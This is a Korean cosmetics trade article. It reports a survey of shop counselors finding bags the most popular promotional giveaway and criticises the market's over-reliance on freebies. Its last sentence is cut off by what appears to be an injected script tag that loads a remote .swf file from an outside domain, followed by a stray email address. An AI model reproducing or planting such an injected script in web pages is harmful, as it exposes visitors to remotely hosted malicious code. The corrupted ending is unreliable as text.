전문점 판촉물은 뭐니뭐니해도 ‘가방이 최고’ 과열 판촉 폐단 발생… 서비스 개념의 원기능 회복해야
작게는 화장솜부터 크게는 여행용가방까지 판촉물의 종류는 다양하다. 판촉물의 역기능을 논하기 전에 판촉물이 판매에 필수적인 요소인 것만은 틀림없다. 그렇다면 전문점은 어떤 종류의 판촉물을 가장 선호할까.
본지가 전문점이 선호하는 판촉물에 대해 설문조사한 결과 ‘가방(쇼핑백)’ 종류가 판촉물로 가장 인기가 있는 것으로 나타났다. ‘최근 판촉물로 가장 인기있는 품목은 무엇인가’라고 500명의 카운슬러에게 질문한 결과 응답자의 45.8%인 229명이 핸드백, 화장가방 등 가방종류라고 답했다. ‘화장소품’이 21.4%(107명)로 그 다음을 차지했으며 주방용기 16.0%(80명), 생활잡화 15.8%(79명)순으로 나타났다. 소수 의견으로는 양산이 있었다.
판촉물을 생활용품, 사무·문구용품, 가정용품, 주방용품, 액세서리, 레저용품, 기타 잡화 등의 카테고리로 분류할 때 생활용품인 가방이 반응이 가장 좋다. 화장품 전문점의 특성상 화장소품이 그 다음을 차지했으며, 주 구매층이 여성층인만큼 주방용품도 선호하고 있는 것으로 나타났다. 특히 가방이나 화장소품 등은 여성들의 미적 욕구와 밀접하게 관련돼 있어 화장품업계 판촉물의 특성을 잘 보여줬다.
고객과 제품에 맞는 판촉물 제공 필수
판촉물은 고객 서비스의 일종이다. 고객이 제품 구입한 것에 대한 일종의 감사 선물인 것이다. 특히 고가 제품을 구입하는 고정고객에게는 감사의 표시와 함께 다시 찾아오기를 바라는 재투자의 의도가 있다. 이번 조사에서 가방이 가장 선호도가 높게 나타났으며 이 중 화장품 가방의 경우 고객이 제품을 용이하게 보관하고 활용할 수 있도록 한 점이 소비자에게 어필됐기 때문으로 분석된다. 원래 판촉물의 탄생 배경이 소비자 서비스인 만큼 이런 기능이 그릇됐다고 보기는 어렵다.
하지만 전문점 시장이 왜곡된 상태로 성장하면서 판촉물 또한 그 본래의 취지보다는 경품의 요소가 커지고 있어 우려된다. 최근 노상에서 인기를 끌고 있는 신용카드 가입업의 경우 판촉물 부작용의 극치를 보여주고 있다. 신용카드 기능이나 사용료, 이율 보다는 옆에 잔뜩 쌓여있는 판촉물에 의해 가입 여부가 결정되고 있다.
이 정도는 아니더라도 전문점의 판촉물 피해 역시 적지 않다. 특히 샘플과 판촉물 제공이 관행화되면서 소비자와 점주 모두 판촉물 없이는 판매가 되지 않을 정도다. 화장품을 사러와서 화장품만 사가면 손해 본다는 기분을 소비자가 느끼고 있다. 일단 뭔가를 하나 손에 더 쥐어야 제대로 화장품을 구입했다는 성취감을 얻을 수가 있다.
판촉물이 이렇게 기형적으로 자란 것은 전문점의 태생적 한계 때문으로 분석된다. 전문점 시장이 판촉물과 가격할인으로 성장했기 때문에 현 상황에서 바로잡기란 쉽지 않다. 근본적이고 과감한 대수술을 하지 않고서는 판촉물의 모순을 바로잡기는 어려워 보인다.
하지만 제조업체와 전문점, 소비자 모두 인식의 변화 없이는 수정되기 어려운 만큼 일단 현실 가능한 것부터 하나씩 고쳐나가야 할 것이다. 우선 판매촉진이라는 판촉물의 원기능을 되살려 제품에 맞는 판촉물을 제공해야 할 것이다. 색조제품을 구입하면 색조가방을 주고 기초제품을 구입하면 화장솜을 주는 식?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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